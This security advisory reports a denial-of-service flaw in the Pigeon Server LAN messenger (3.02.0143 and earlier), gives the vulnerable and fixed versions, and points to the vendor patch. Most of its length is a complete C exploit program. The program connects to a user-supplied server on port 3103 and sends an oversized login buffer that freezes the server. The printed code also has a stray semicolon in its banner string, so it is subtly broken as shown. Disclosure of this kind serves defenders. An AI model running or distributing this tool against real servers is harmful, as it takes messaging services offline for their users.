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Pigeon Server DoS
------------------------------------------------------------------------
SUMMARY
<http://www.tech-noel.com/> Pigeon Server is a "Instant, complete and
inexpensive LAN messenger for Windows platform". Due to a vulnerability in
the server it is possible to cause the server to crash by sending it an
arbitrarily long login request.
DETAILS
Vulnerable Systems:
* Pigeon Server version 3.02.0143 and prior
Immune Systems:
* Pigeon Server version 3.03.146 or newer
A login field longer than 8180 chars sent to the port 3103 will freeze the
Pigeon server, causing it to consume large amounts of CPU time, making it
also impossible to login and to send/receive messages.
Vendor Status:
The vendor has issued a fix, available at
<ftp://ftp.tech-noel.com/PigeonServerUpd.exe>
ftp://ftp.tech-noel.com/PigeonServerUpd.exe
Exploit:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#endif
#define VER "0.1"
#define PORT 3103
#define BUFFSZ 8192 // we need at least 8180 'a's
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd;
u_short port = PORT;
u_char *buff;
setbuf(stdout, NULL);
fputs("\n"
"Pigeon server <= 3.02.0143 freeze "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n";
"\n", stdout);
if(argc < 2) {
printf("\nUsage: %s <server> [port(%d)]\n"
"\n", argv[0], PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("\n- target %s:%hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
buff = malloc(BUFFSZ);
if(!buff) std_err();
memset(buff, 'a', BUFFSZ);
buff[BUFFSZ - 5] = '|';
buff[BUFFSZ - 4] = '|';
buff[BUFFSZ - 3] = '1';
buff[BUFFSZ - 2] = '|';
buff[BUFFSZ - 1] = '|';
fputs("- send malformed data\n", stdout);
if(send(sd, buff, BUFFSZ, 0)
< 0) std_err();
close(sd);
fputs("- the server should be freezed, check it manually\n\n",
stdout);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/pigeonx-adv.txt>
http://aluigi.altervista.org/adv/pigeonx-adv.txt
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